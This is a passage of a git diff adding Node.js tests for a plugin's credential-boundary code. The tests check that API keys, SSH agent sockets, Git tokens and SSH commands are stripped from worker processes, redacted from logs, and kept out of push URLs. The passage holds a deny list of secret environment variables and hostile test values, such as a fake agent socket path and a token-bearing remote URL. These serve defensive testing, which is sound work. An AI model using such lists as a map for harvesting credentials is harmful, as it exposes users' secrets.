'owned'), 'owner-secret-value\n'); + const previous = process.geteuid.bind(process); + process.geteuid = () => previous() + 1; + try { + const ownerError = await errorOf(() => loadCredentialFile(owned)); + assert.equal(ownerError.code, 'credential_owner_denied'); + assert.equal(ownerError.message.includes('owner-secret'), false); + assert.equal(ownerError.message.includes(root), false); + } finally { + process.geteuid = previous; + } + + const live = await writeOwnerFile(path.join(root, 'live-swap'), 'first-secret-value\n'); + let seenStat = 0; + const swapped = await errorOf(() => loadCredentialFile(live, { + openFile: async (target, flags) => { + const handle = await open(target, flags); + const inner = handle.stat.bind(handle); + handle.stat = async (options) => { + const metadata = await inner(options); + seenStat += 1; + if (seenStat === 1) { + await writeFile(target, 'second-secret-value-changed\n', { mode: 0o600 }); + } + return metadata; + }; + return handle; + }, + })); + assert.equal(swapped.code, 'credential_file_changed'); + assert.equal(seenStat >= 1, true); + assert.equal(swapped.message.includes('first-secret'), false); + assert.equal(swapped.message.includes('second-secret'), false); + assert.equal(swapped.message.includes(root), false); + }); +}); + +test('exact-value redaction covers lengths 1-3 and 16 KiB splits across chunks events errors and logs', () => { + const previous = process.env.MODEL_API_KEY; + try { + for (const secret of ['a', 'ab', 'xyz']) { + process.env.MODEL_API_KEY = secret; + assert.ok(collectLaneSecrets(process.env).includes(secret)); + const logLine = `OUT:${secret}:END`; + const redacted = redactExactValues(logLine, [secret]); + assert.equal(redacted.includes(secret), false, secret); + assert.equal(redacted.startsWith('OUT:'), true, secret); + assert.equal(redacted.endsWith(':END'), true, secret); + assert.equal(inspectEnvForSecrets({ note: logLine }, [secret]), true); + const event = boundedEvent({ type: 'status', text: logLine }, 'prompt'); + const failure = publicError(new Error(`fail ${secret}`), 'prompt'); + assert.equal(JSON.stringify(event).includes(secret), false, secret); + assert.equal(failure.message.includes(secret), false, secret); + assert.equal(sanitizeText(`stderr ${secret}`, 'prompt').includes(secret), false, secret); + } + + const secret = Array.from({ length: MAX_CREDENTIAL_BYTES }, (_, index) => ( + 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'[index % 32] + )).join(''); + process.env.MODEL_API_KEY = secret; + const head = secret.slice(0, 8000); + const tail = secret.slice(8000); + const chunk = secret.slice(64, 64 + 4000); + const event = boundedEvent({ + type: 'provider_update', + text: `log:${chunk}:tail`, + nested: { head, tail }, + }, 'prompt'); + const failure = publicError(new Error(`${head}\n${tail}`), 'prompt'); + const serialized = JSON.stringify(event); + assert.equal(serialized.includes(secret.slice(0, 32)), false); + assert.equal(serialized.includes(secret.slice(-32)), false); + assert.equal(serialized.includes(chunk.slice(0, 32)), false); + assert.equal(failure.message.includes(secret.slice(0, 32)), false); + assert.equal(sanitizeText(`log:${chunk}:tail`, 'prompt').includes(chunk.slice(0, 32)), false); + } finally { + if (previous === undefined) delete process.env.MODEL_API_KEY; + else process.env.MODEL_API_KEY = previous; + } +}); diff --git a/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs b/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs new file mode 100644 index 0000000..1e43c21 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-boundary.test.mjs @@ -0,0 +1,211 @@ +import assert from 'node:assert/strict'; +import { link, symlink, writeFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; + +import { + CREDENTIAL_BOUNDARY_SCHEMA_ID, + CREDENTIAL_BOUNDARY_VERSION, + CredentialBoundaryError, + DEFAULT_DSH_MODEL, + DSH_OX_MODEL, + MAX_CREDENTIAL_BYTES, + assertCredentialFreeRemote, + collectLaneSecrets, + createCredentialHandoff, + cleanupCredentialHandoff, + consumeCredentialHandoff, + credentialRedactionFragments, + denyWorkerRemoteMutation, + extractCredentialEnv, + inspectArgvForSecrets, + inspectEnvForSecrets, + loadCredentialFile, + materializeProviderEnvironment, + omitCredentialEnv, + projectProviderEnvironment, + redactExactValues, + systemdClientEnvironment, +} from '../mcp/v3/credential-boundary.mjs'; +import { DENIED_OPERATIONS } from '../mcp/v3/git-authority.mjs'; +import { + HOSTILE_ENV, + withTempDir, + writeOwnerFile, +} from './fixtures/r1-credential-boundary-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve().then(action).then( + () => { assert.fail('expected CredentialBoundaryError'); }, + (error) => { + assert.ok(error instanceof CredentialBoundaryError, error?.stack ?? String(error)); + return error; + }, + ); +} + +test('credential boundary is a frozen v1 additive module and not a 4.0.0 major', () => { + assert.equal(CREDENTIAL_BOUNDARY_SCHEMA_ID, 'codex-co-engineer.credential-boundary.v1'); + assert.equal(CREDENTIAL_BOUNDARY_VERSION, 1); + assert.equal(CREDENTIAL_BOUNDARY_SCHEMA_ID.includes('4.0.0'), false); + assert.equal(MAX_CREDENTIAL_BYTES, 16 * 1024); +}); + +test('service projection keeps operational and command keys without ambient secrets', () => { + const service = projectProviderEnvironment({ + source: { + ...HOSTILE_ENV, + CODEX_CO_ENGINEER_GROK_COMMAND: '/usr/bin/grok', + CODEX_CO_ENGINEER_CURSOR_COMMAND: '/usr/bin/cursor-agent', + }, + operation: 'service', + }); + assert.equal(service.PATH, HOSTILE_ENV.PATH); + assert.equal(service.HOME, HOSTILE_ENV.HOME); + assert.equal(service.CODEX_CO_ENGINEER_GROK_COMMAND, '/usr/bin/grok'); + assert.equal(service.GIT_TERMINAL_PROMPT, '0'); + assert.equal(service.XAI_API_KEY, undefined); + assert.equal(service.CURSOR_API_KEY, undefined); + assert.equal(service.SSH_AUTH_SOCK, undefined); + assert.equal(service.GH_TOKEN, undefined); + assert.equal(service.NODE_OPTIONS, undefined); +}); + +test('closed projection strips Git SSH hosting control tokens and key-file paths', () => { + const grok = projectProviderEnvironment({ provider: 'grok', source: HOSTILE_ENV, operation: 'lane' }); + assert.equal(grok.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(grok.PATH, HOSTILE_ENV.PATH); + assert.equal(grok.GIT_TERMINAL_PROMPT, '0'); + assert.equal(grok.GIT_ASKPASS, ''); + for (const key of [ + 'GIT_SSH', 'GIT_SSH_COMMAND', 'SSH_AUTH_SOCK', 'GH_TOKEN', 'GITHUB_TOKEN', + 'GITLAB_TOKEN', 'WORKTREE_BOOTSTRAP_TASK', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', + 'CURSOR_API_KEY', 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', 'CURSOR_API_KEY_FILE', + 'NODE_OPTIONS', + ]) { + assert.equal(Object.hasOwn(grok, key), false, key); + } +}); + +test('Muse Ox Grok and Cursor Cloud routes do not share credentials', async () => { + const muse = await materializeProviderEnvironment({ + provider: 'dsh', source: HOSTILE_ENV, dshModel: DEFAULT_DSH_MODEL, operation: 'lane', + }); + const ox = await materializeProviderEnvironment({ + provider: 'dsh', source: HOSTILE_ENV, dshModel: DSH_OX_MODEL, operation: 'lane', + }); + const grok = await materializeProviderEnvironment({ + provider: 'grok', source: HOSTILE_ENV, operation: 'lane', + }); + const cloud = await materializeProviderEnvironment({ + provider: 'cursor-cloud', source: HOSTILE_ENV, operation: 'lane', + }); + const local = await materializeProviderEnvironment({ + provider: 'cursor-local', source: HOSTILE_ENV, operation: 'lane', + }); + assert.equal(muse.MODEL_API_KEY, HOSTILE_ENV.MODEL_API_KEY); + assert.equal(muse.OPENROUTER_API_KEY, undefined); + assert.equal(ox.OPENROUTER_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY); + assert.equal(ox.MODEL_API_KEY, undefined); + assert.equal(grok.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(grok.MODEL_API_KEY, undefined); + assert.equal(cloud.CURSOR_API_KEY, HOSTILE_ENV.CURSOR_API_KEY); + assert.equal(cloud.XAI_API_KEY, undefined); + assert.equal(local.CURSOR_API_KEY, undefined); + assert.equal(local.XAI_API_KEY, undefined); +}); + +test('systemd client environment is D-Bus only', () => { + const client = systemdClientEnvironment({ + ...HOSTILE_ENV, + DBUS_SESSION_BUS_ADDRESS: 'unix:path=/run/user/1000/bus', + XDG_RUNTIME_DIR: '/run/user/1000', + XDG_SESSION_ID: '1', + }); + assert.deepEqual(Object.keys(client).sort(), ['DBUS_SESSION_BUS_ADDRESS', 'XDG_RUNTIME_DIR', 'XDG_SESSION_ID']); + assert.equal(inspectEnvForSecrets(client, Object.values(HOSTILE_ENV)), false); +}); + +test('credential file reads require owner-only no-follow regular files', async () => { + await withTempDir('cce-p29-cred-', async (root) => { + const file = await writeOwnerFile(path.join(root, 'key'), 'muse-from-file\n'); + assert.equal(await loadCredentialFile(file), 'muse-from-file'); + + const relative = errorOf(() => loadCredentialFile('relative-key')); + assert.equal((await relative).code, 'invalid_credential_path'); + assert.equal((await relative).message.includes(root), false); + + const linked = path.join(root, 'link-key'); + await symlink(file, linked); + assert.equal((await errorOf(() => loadCredentialFile(linked))).code, 'credential_symlink_denied'); + + const hard = path.join(root, 'hard-key'); + await link(file, hard); + assert.equal((await errorOf(() => loadCredentialFile(hard))).code, 'credential_hardlink_denied'); + + const wide = await writeOwnerFile(path.join(root, 'wide'), 'wide-secret\n', 0o644); + assert.equal((await errorOf(() => loadCredentialFile(wide))).code, 'credential_permissions'); + + const huge = path.join(root, 'huge'); + await writeFile(huge, `${'a'.repeat(MAX_CREDENTIAL_BYTES + 1)}\n`, { mode: 0o600 }); + assert.equal((await errorOf(() => loadCredentialFile(huge))).code, 'credential_too_large'); + }); +}); + +test('handoff round-trip never stores secrets in argv helpers and cleans up', async () => { + const secrets = { MODEL_API_KEY: 'handoff-secret-value' }; + const created = await createCredentialHandoff(secrets); + const argv = ['--setenv=HOME=/tmp', created.path, '--', '/usr/bin/node']; + assert.equal(inspectArgvForSecrets(argv, ['handoff-secret-value']), false); + const consumed = await consumeCredentialHandoff(created.path); + assert.equal(consumed.MODEL_API_KEY, 'handoff-secret-value'); + const second = await cleanupCredentialHandoff(created.path); + assert.equal(second.cleaned, true); + await assert.rejects(() => consumeCredentialHandoff(created.path), (error) => ( + error instanceof CredentialBoundaryError && error.code === 'invalid_credential_file' + )); +}); + +test('exact-value redaction covers 16 KiB credentials split across events', () => { + const secret = Array.from({ length: MAX_CREDENTIAL_BYTES }, (_, index) => ( + 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789'[index % 32] + )).join(''); + assert.equal(secret.length, MAX_CREDENTIAL_BYTES); + const fragments = credentialRedactionFragments(secret); + assert.ok(fragments.includes(secret)); + const chunk = secret.slice(100, 100 + 4000); + const redacted = redactExactValues(`log:${chunk}:tail`, [secret]); + assert.equal(redacted.includes(chunk.slice(0, 32)), false); + assert.equal(redacted.startsWith('log:'), true); + assert.equal(redacted.endsWith(':tail'), true); + const combined = redactExactValues(`${secret.slice(0, 8000)}\n${secret.slice(8000)}`, [secret]); + assert.equal(combined.includes(secret.slice(0, 32)), false); + assert.equal(combined.includes(secret.slice(-32)), false); + assert.ok(collectLaneSecrets({ MODEL_API_KEY: secret }).includes(secret)); +}); + +test('worker remote mutation and push URLs are denied content-free', () => { + for (const operation of DENIED_OPERATIONS) { + const error = (() => { + try { denyWorkerRemoteMutation(operation); } catch (caught) { return caught; } + })(); + assert.equal(error instanceof CredentialBoundaryError, true, operation); + assert.equal(error.code, 'remote_mutation_denied'); + assert.equal(error.message.includes('github'), false); + } + const push = (() => { + try { assertCredentialFreeRemote('https://user:token@github.com/org/repo.git'); } catch (caught) { return caught; } + })(); + assert.equal(push.code, 'push_url_denied'); + assert.equal(push.message.includes('token'), false); + assert.equal(assertCredentialFreeRemote('https://github.com/org/repo.git'), 'https://github.com/org/repo.git'); +}); + +test('omitCredentialEnv removes secret keys before process-argument construction', () => { + const publicEnv = omitCredentialEnv({ HOME: '/tmp/home', PATH: '/bin', MODEL_API_KEY: 'hidden-secret' }); + assert.equal(publicEnv.HOME, '/tmp/home'); + assert.equal(publicEnv.MODEL_API_KEY, undefined); + const extracted = extractCredentialEnv({ HOME: '/tmp/home', MODEL_API_KEY: 'hidden-secret' }); + assert.equal(extracted.MODEL_API_KEY, 'hidden-secret'); + assert.equal(Object.keys(extracted).join(','), 'MODEL_API_KEY'); +}); diff --git a/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs b/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs new file mode 100644 index 0000000..bf91621 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-credential-isolation.test.mjs @@ -0,0 +1,645 @@ +import assert from 'node:assert/strict'; +import { spawn } from 'node:child_process'; +import { EventEmitter } from 'node:events'; +import { lstat, mkdir, mkdtemp, readFile, rm } from 'node:fs/promises'; +import os from 'node:os'; +import path from 'node:path'; +import test, { describe } from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { runAcpTask } from '../mcp/v3/acp-worker.mjs'; +import { + CredentialBoundaryError, + createCredentialHandoff, + denyWorkerRemoteMutation, + installClosedProviderTestInjection, + inspectArgvForSecrets, + inspectEnvForSecrets, + projectProviderEnvironment, + recoverStaleCredentialHandoffs, +} from '../mcp/v3/credential-boundary.mjs'; +import { + classifyGitOperationV1, +} from '../mcp/v3/git-authority.mjs'; +import { + inspectExactProcessBoundary, + launchProcessBoundary, + ProcessBoundaryError, + restoreProcessBoundary, + stopProcessBoundary, +} from '../mcp/v3/process-boundary.mjs'; +import { + composeProviderDriverV1, + describeProviderRegistryV1, + PROVIDER_REGISTRY_SLOTS, +} from '../mcp/v3/provider-registry.mjs'; +import { submitTask } from '../mcp/v3/supervisor.mjs'; +import { createTask } from '../mcp/v3/task-store.mjs'; +import { HOSTILE_ENV } from './fixtures/r1-credential-boundary-fixtures.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +const SHA = 'a'.repeat(40); +const FAKE_AGENT = fileURLToPath(new URL('./acpx-fake-agent.mjs', import.meta.url)); +const FAKE_ACPX = fileURLToPath(new URL('./fake-acpx.mjs', import.meta.url)); +const HANDOFF_LOADER = fileURLToPath(new URL('../mcp/v3/credential-handoff-loader.mjs', import.meta.url)); +const AMBIENT_SECRET_KEYS = [ + 'SSH_AUTH_SOCK', 'SSH_AGENT_PID', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GH_TOKEN', + 'GITHUB_TOKEN', 'GITLAB_TOKEN', 'WORKTREE_BOOTSTRAP_TASK', 'MODEL_API_KEY', + 'OPENROUTER_API_KEY', 'CURSOR_API_KEY', +]; + +async function withAmbientSecrets(extra, build) { + const assigned = { ...Object.fromEntries(AMBIENT_SECRET_KEYS.map((key) => [key, HOSTILE_ENV[key]])), ...extra }; + const previous = {}; + for (const [key, value] of Object.entries(assigned)) { + previous[key] = Object.hasOwn(process.env, key) ? process.env[key] : undefined; + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + try { + return await build(); + } finally { + for (const [key, value] of Object.entries(previous)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +} + +function collectStdout(child) { + return new Promise((resolve, reject) => { + let text = ''; + child.stdout.on('data', (chunk) => { text += chunk; }); + child.stderr.on('data', () => {}); + child.once('error', reject); + child.once('close', (code) => { + if (code !== 0) reject(new Error(`child exited ${code}: ${text}`)); + else resolve(text); + }); + }); +} + +function fakeChild(exitCode = 0) { + const child = new EventEmitter(); + child.exitCode = null; + child.signalCode = null; + child.kill = () => { child.emit('exit', null, 'SIGTERM'); }; + queueMicrotask(() => { + child.emit('spawn'); + child.exitCode = exitCode; + child.emit('exit', exitCode, null); + }); + return child; +} + +function procStat({ pid, ppid, startTicks, comm = 'wrap', state = 'S' }) { + const fields = [state, String(ppid), '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', String(startTicks)]; + return `${pid} (${comm}) ${fields.join(' ')}`; +} + +function procStatus({ pid, nspid, state = 'S' }) { + const ns = nspid ?? String(pid); + const label = state === 'Z' ? 'zombie' : (state === 'X' || state === 'x' ? 'dead' : 'sleeping'); + return [ + 'Name:\twrap', + `State:\t${state} (${label})`, + `Pid:\t${pid}`, + `NSpid:\t${ns}`, + ].join('\n'); +} + +function controlGroupFor(unit) { + return `/user.slice/user-1000.slice/user@1000.service/app.slice/${unit}`; +} + +function unitFromArgs(args, fallback) { + return args.find((value) => value.startsWith('codex-co-engineer-') && value.endsWith('.service')) + ?? fallback; +} + +// Populated units expose exact cgroup.procs plus matching /proc identity. +// Simulated stop becomes failed with unpopulated/absent cgroup and missing proc. +function showAdapter({ procs = 'exact', pid = 4242, startTicks = '100', nsInode = '4026531836' } = {}) { + const state = { + populated: true, + found: true, + activeState: 'active', + clearRuntimeGeneration: false, + lastUnit: 'codex-co-engineer-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.service', + actions: [], + }; + const mutateOwned = (args) => { + state.lastUnit = unitFromArgs(args, state.lastUnit); + state.populated = false; + state.activeState = 'failed'; + state.clearRuntimeGeneration = true; + }; + return { + platform: 'linux', + uid: 1000, + state, + execFile: async (_command, args) => { + state.actions.push([...args]); + if (args[1] === 'kill' || args[1] === 'stop') { + mutateOwned(args); + return { stdout: '' }; + } + const unit = unitFromArgs(args, state.lastUnit); + state.lastUnit = unit; + const token = unit.slice('codex-co-engineer-'.length, -'.service'.length); + if (!state.found) { + return { stdout: [ + `Id=${unit}`, + `Description=${unit}`, + 'LoadState=not-found', + 'ActiveState=inactive', + 'ControlGroup=', + 'KillMode=control-group', + 'InvocationID=', + 'MainPID=0', + ].join('\n') }; + } + const runtimeCleared = state.clearRuntimeGeneration === true + || ((state.activeState === 'inactive' || state.activeState === 'failed') && !state.populated); + return { stdout: [ + `Id=${unit}`, + `Description=${runtimeCleared ? unit : `codex-co-engineer-task:${token}`}`, + 'LoadState=loaded', + `ActiveState=${state.activeState}`, + `ControlGroup=${runtimeCleared ? '' : controlGroupFor(unit)}`, + 'KillMode=control-group', + `InvocationID=${runtimeCleared ? '' : 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'}`, + `MainPID=${state.populated ? pid : 0}`, + ].join('\n') }; + }, + readFile: async (file) => { + if (file.endsWith('/cgroup.events')) { + if (!state.found && !state.populated) { + throw Object.assign(new Error('missing cgroup'), { code: 'ENOENT' }); + } + return `populated ${state.populated ? 1 : 0}\nfrozen 0\n`; + } + if (file.endsWith('/cgroup.procs')) { + if (state.populated && procs === 'missing') { + throw Object.assign(new Error('missing cgroup.procs'), { code: 'ENOENT' }); + } + if (state.populated && procs === 'unreadable') { + throw Object.assign(new Error('unreadable cgroup.procs'), { code: 'EPERM' }); + } + return state.populated ? `${pid}\n` : '\n'; + } + const procMatch = /\/proc\/(\d+)\/(stat|cgroup|status)$/u.exec(file); + if (procMatch) { + if (!state.populated) throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + const observedPid = Number(procMatch[1]); + if (procMatch[2] === 'stat') return procStat({ pid: observedPid, ppid: 1, startTicks }); + if (procMatch[2] === 'status') return procStatus({ pid: observedPid, nspid: String(observedPid) }); + return `0::${controlGroupFor(state.lastUnit)}\n`; + } + throw Object.assign(new Error(`unexpected file ${file}`), { code: 'ENOENT' }); + }, + readlink: async (file) => { + if (!/\/proc\/\d+\/ns\/pid$/u.test(file) || !state.populated) { + throw Object.assign(new Error('gone'), { code: 'ENOENT' }); + } + return `pid:[${nsInode}]`; + }, + sleep: async () => {}, + }; +} + +test('hostile environment and systemd-run argv inspection keeps secrets off the client', async () => { + const calls = []; + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + const env = { + ...HOSTILE_ENV, + HOME: '/home/test-user', + }; + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: projectProviderEnvironment({ provider: 'grok', source: env, operation: 'lane' }), + stdio: 'ignore', + adapter: host, + }); + assert.equal(calls.length, 1); + const secrets = [ + HOSTILE_ENV.XAI_API_KEY, HOSTILE_ENV.MODEL_API_KEY, HOSTILE_ENV.OPENROUTER_API_KEY, + HOSTILE_ENV.CURSOR_API_KEY, HOSTILE_ENV.GH_TOKEN, HOSTILE_ENV.GIT_SSH_COMMAND, + ]; + assert.equal(inspectArgvForSecrets(calls[0].args, secrets), false); + assert.equal(inspectEnvForSecrets(calls[0].options.env, secrets), false); + assert.equal(calls[0].args.includes('--setenv=XAI_API_KEY=xai-secret-value-abcdef'), false); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + assert.equal(calls[0].args.some((entry) => String(entry).startsWith('--setenv=GIT_SSH')), false); + await stopProcessBoundary(launched.handle, { adapter: host, timeoutMs: 100 }); +}); + +test('spawn failure and cancel cleanup remove the credential handoff file', async () => { + const calls = []; + await assert.rejects( + launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: { HOME: '/tmp/home', PATH: '/bin', MODEL_API_KEY: 'cleanup-secret-value' }, + stdio: 'ignore', + adapter: { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(1); + }, + }, + }), + (error) => error instanceof ProcessBoundaryError && error.code === 'systemd_run_failed', + ); + assert.equal(inspectArgvForSecrets(calls[0].args, ['cleanup-secret-value']), false); + const handoff = calls[0].args.find((entry) => typeof entry === 'string' && entry.endsWith('env.json')); + assert.equal(typeof handoff, 'string'); + await assert.rejects(import('node:fs/promises').then((fs) => fs.lstat(handoff)), (error) => error.code === 'ENOENT'); +}); + +test('populated=1 with missing or unreadable cgroup.procs stays membership unknown and never claims stopped', async () => { + for (const procs of ['missing', 'unreadable']) { + const calls = []; + const adapter = showAdapter({ procs }); + const host = { + ...adapter, + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: projectProviderEnvironment({ provider: 'grok', source: HOSTILE_ENV, operation: 'lane' }), + stdio: 'ignore', + adapter: host, + }); + assert.equal(inspectArgvForSecrets(calls[0].args, [HOSTILE_ENV.XAI_API_KEY, HOSTILE_ENV.GH_TOKEN]), false); + await assert.rejects( + stopProcessBoundary(launched.handle, { adapter: host, timeoutMs: 100 }), + (error) => error instanceof ProcessBoundaryError && error.code === 'worker_boundary_membership_unknown', + ); + assert.equal(host.state.actions.some((args) => args[1] === 'kill' || args[1] === 'stop'), false); + assert.equal(host.state.populated, true); + assert.equal(host.state.activeState, 'active'); + const inspection = await inspectExactProcessBoundary(launched.receipt, { + adapter: host, + expectedLeader: { pid: 4242, process_start_ticks: '100' }, + }); + assert.equal(inspection.state, 'unknown'); + assert.equal(inspection.code, 'worker_boundary_membership_unknown'); + assert.equal(inspection.stop_allowed, false); + assert.notEqual(inspection.state, 'inactive_empty'); + } +}); + +test('supervisor launch inspects a closed grok environment against a hostile parent', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-supervisor-')); + const repo = path.join(root, 'repo'); + let launched; + try { + await mkdir(repo); + await submitTask({ + task_id: 'p29-grok-isolation', + provider: 'grok', + repo, + prompt: 'do not leak credentials', + workspace_mode: 'direct', + expected_duration_ms: 10_000, + }, { + root, + env: HOSTILE_ENV, + execute: async (_command, args) => { + if (args.includes('--show-toplevel')) return { stdout: `${repo}\n` }; + if (args.includes('--show-current')) return { stdout: 'feature\n' }; + if (args.includes('HEAD')) return { stdout: `${SHA}\n` }; + throw new Error(`unexpected args: ${args.join(' ')}`); + }, + probeBoundary: async () => ({ + ready: true, status: 'prerequisites_ready', provider_started: false, + boundary: 'systemd-user-service-cgroup', + }), + launch: async (request) => { + launched = request; + return { pid: 9101, process_group: 9101, process_start_ticks: '9' }; + }, + }); + assert.equal(launched.env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(launched.env.GH_TOKEN, undefined); + assert.equal(launched.env.GIT_SSH, undefined); + assert.equal(launched.env.SSH_AUTH_SOCK, undefined); + assert.equal(launched.env.MODEL_API_KEY, undefined); + assert.equal(launched.env.CURSOR_API_KEY, undefined); + assert.equal(launched.env.WORKTREE_BOOTSTRAP_TASK, undefined); + assert.equal(launched.env.CODEX_CO_ENGINEER_MODEL_API_KEY_FILE, undefined); + assert.equal(launched.env.GIT_TERMINAL_PROMPT, '0'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('P23 registry composition and P28 denied operations remain exact', () => { + const inventory = describeProviderRegistryV1(); + assert.deepEqual([...PROVIDER_REGISTRY_SLOTS], ['grok', 'cursor-local', 'cursor-cloud', 'dsh']); + assert.equal(inventory.slots.length, 4); + assert.equal(typeof composeProviderDriverV1, 'function'); + const denied = classifyGitOperationV1(operationRequest({ + operation: 'push', + actor: 'worker', + identity: { + repository_path: '/tmp/cce-r1-authority-repo', + base_sha: BASE_SHA, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + }, + manifest_digest_hex: MANIFEST_DIGEST_HEX, + })); + assert.equal(denied.verdict, 'denied'); + assert.equal(denied.message.includes('/tmp'), false); + assert.throws(() => denyWorkerRemoteMutation('push'), (error) => ( + error instanceof CredentialBoundaryError && error.code === 'remote_mutation_denied' + )); + assert.throws(() => denyWorkerRemoteMutation('create_pr'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('merge'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('rebase'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('tag_create'), (error) => error.code === 'remote_mutation_denied'); + assert.throws(() => denyWorkerRemoteMutation('release_create'), (error) => error.code === 'remote_mutation_denied'); +}); + +describe('closed Grok and Cursor Local ACP/service projection', { concurrency: 1 }, () => { +test('cursor-local systemd launch unsets manager secrets and always uses the closed loader', async () => { + const calls = []; + await withAmbientSecrets({}, async () => { + const host = { + ...showAdapter(), + spawn: (command, args, options) => { + calls.push({ command, args, options }); + return fakeChild(); + }, + }; + const launched = await launchProcessBoundary({ + command: '/usr/bin/node', + args: ['worker.mjs'], + cwd: '/workspace/repo', + env: projectProviderEnvironment({ provider: 'cursor-local', source: HOSTILE_ENV, operation: 'lane' }), + stdio: 'ignore', + adapter: host, + }); + assert.equal(calls.length, 1); + const unset = calls[0].args.find((entry) => String(entry).startsWith('--property=UnsetEnvironment=')); + assert.equal(typeof unset, 'string'); + assert.equal(unset.includes('SSH_AUTH_SOCK'), true); + assert.equal(unset.includes('GH_TOKEN'), true); + assert.equal(calls[0].args.includes('--setenv=SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(calls[0].args.includes('SSH_AUTH_SOCK=/tmp/hostile-agent.sock'), false); + assert.equal(calls[0].args.includes('/usr/bin/env'), true); + assert.equal(calls[0].args.includes('-i'), true); + assert.equal(calls[0].args.some((entry) => String(entry).includes('credential-handoff-loader.mjs')), true); + assert.equal(inspectArgvForSecrets(calls[0].args, [HOSTILE_ENV.CURSOR_API_KEY, HOSTILE_ENV.XAI_API_KEY, HOSTILE_ENV.GH_TOKEN]), false); + await stopProcessBoundary(launched.handle, { adapter: host, timeoutMs: 100 }); + }); +}); + +test('handoff loader child is a closed projection plus authorized secrets only', async () => { + const created = await createCredentialHandoff({ XAI_API_KEY: HOSTILE_ENV.XAI_API_KEY }); + const child = spawn(process.execPath, [ + HANDOFF_LOADER, created.path, '--', process.execPath, '-e', + 'process.stdout.write(JSON.stringify(process.env))', + ], { + env: (() => { + const env = { + ...HOSTILE_ENV, + PATH: process.env.PATH ?? HOSTILE_ENV.PATH, + HOME: process.env.HOME ?? HOSTILE_ENV.HOME, + }; + delete env.NODE_OPTIONS; + return env; + })(), + stdio: ['ignore', 'pipe', 'pipe'], + }); + const stdout = await collectStdout(child); + const env = JSON.parse(stdout); + assert.equal(env.XAI_API_KEY, HOSTILE_ENV.XAI_API_KEY); + assert.equal(env.PATH, process.env.PATH ?? HOSTILE_ENV.PATH); + for (const key of AMBIENT_SECRET_KEYS) assert.equal(env[key], undefined, key); + assert.equal(env.SSH_AUTH_SOCK, undefined); + assert.equal(env.CURSOR_API_KEY, undefined); + assert.equal(env.MODEL_API_KEY, undefined); + assert.equal(env.CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF, undefined); +}); + +test('supervisor launch inspects a closed cursor-local environment against a hostile parent', async () => { + const root = await mkdtemp(path.join(os.tmpdir(), 'co-engineer-p29-cursor-local-')); + const repo = path.join(root, 'repo'); + let launched; + try { + await mkdir(repo); + await submitTask({ + task_id: 'p29-cursor-local-isolation', + provider: 'cursor-local', + repo, + prompt: 'do not leak credentials', + workspace_mode: 'direct', + expected_duration_ms: 10_000, + }, { + root, + env: HOSTILE_ENV, + execute: async (_command, args) => { + if (args.includes('--show-toplevel')) return { stdout: `${repo}\n` }; + if (args.includes('--show-current')) return { stdout: 'feature\n' }; + if (args.includes('HEAD')) return { stdout: `${SHA}\n` }; + throw new Error(`unexpected args: ${args.join(' ')}`); + }, + probeBoundary: async () => ({ + ready: true, status: 'prerequisites_ready', provider_started: false, + boundary: 'systemd-user-service-cgroup', + }), + launch: async (request) => { + launched = request; + return { pid: 9102, process_group: 9102, process_start_ticks: '9' }; + }, + }); + assert.equal(launched.env.CURSOR_API_KEY, undefined); + assert.equal(launched.env.XAI_API_KEY, undefined); + assert.equal(launched.env.GH_TOKEN, undefined); + assert.equal(launched.env.SSH_AUTH_SOCK, undefined); + assert.equal(launched.env.GIT_TERMINAL_PROMPT, '0'); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +for (const provider of ['grok', 'cursor-local']) { + test(`${provider} ACP children omit manager and process ambient secrets`, async () => { + await withAmbientSecrets({ + XAI_API_KEY: 